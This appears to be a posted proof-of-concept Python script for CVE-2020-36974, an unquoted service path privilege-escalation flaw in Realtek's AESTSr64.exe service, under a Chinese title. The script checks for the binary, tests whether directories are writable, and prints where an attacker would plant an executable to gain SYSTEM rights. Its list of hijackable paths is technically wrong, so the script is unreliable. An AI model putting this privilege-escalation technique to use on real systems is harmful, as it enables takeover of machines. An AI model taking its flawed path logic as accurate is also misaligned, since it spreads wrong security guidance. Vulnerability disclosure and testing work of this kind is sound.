CVE-2020-36974 Realtek Andrea RT Filters未引号服务路径提权漏洞

#!/usr/bin/env python3 """ CVE-2020-36974 PoC - Realtek Andrea RT Filters Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in AESTSr64.exe Note: For educational and authorized testing purposes only """ import os import sys import ctypes import shutil def check_vulnerability(): """Check if the vulnerable service exists""" vulnerable_path = r'C:\Program Files\IDT\WDM\AESTSr64.exe' if os.path.exists(vulnerable_path): print(f'[+] Vulnerable service found at: {vulnerable_path}') return True else: print(f'[-] Vulnerable service not found') return False def check_intermediate_paths(): """Check if intermediate paths are writable""" paths_to_check = [ r'C:\Program Files\IDT.exe', r'C:\Program Files\IDT\WDM\IDT.exe', r'C:\Program Files\IDT\WDM\WDM.exe' ] print('\n[*] Checking intermediate path locations:') for path in paths_to_check: directory = os.path.dirname(path) if os.path.exists(directory): # Check if we can write to the directory test_file = os.path.join(directory, '.write_test') try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print(f' [VULN] Writable: {path}') except: print(f' [SAFE] Not writable: {path}') def generate_payload(): """Generate example malicious executable location""" # This would be the malicious executable placed by an attacker malicious_path = r'C:\Program Files\IDT\WDM\IDT.exe' print(f'\n[!] Attacker would place malicious executable at: {malicious_path}') print('[!] When service starts, it will execute this file instead of the legitimate one') print('[!] The malicious code would run with SYSTEM privileges') if __name__ == '__main__': print('CVE-2020-36974 - Realtek Andrea RT Filters Unquoted Service Path') print('=' * 70) if os.name != 'nt': print('[-] This exploit only works on Windows systems') sys.exit(1) if check_vulnerability(): check_intermediate_paths() generate_payload() print('\n[*] Remediation: Quote the service path in Windows Registry') print(' HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AESTSr64')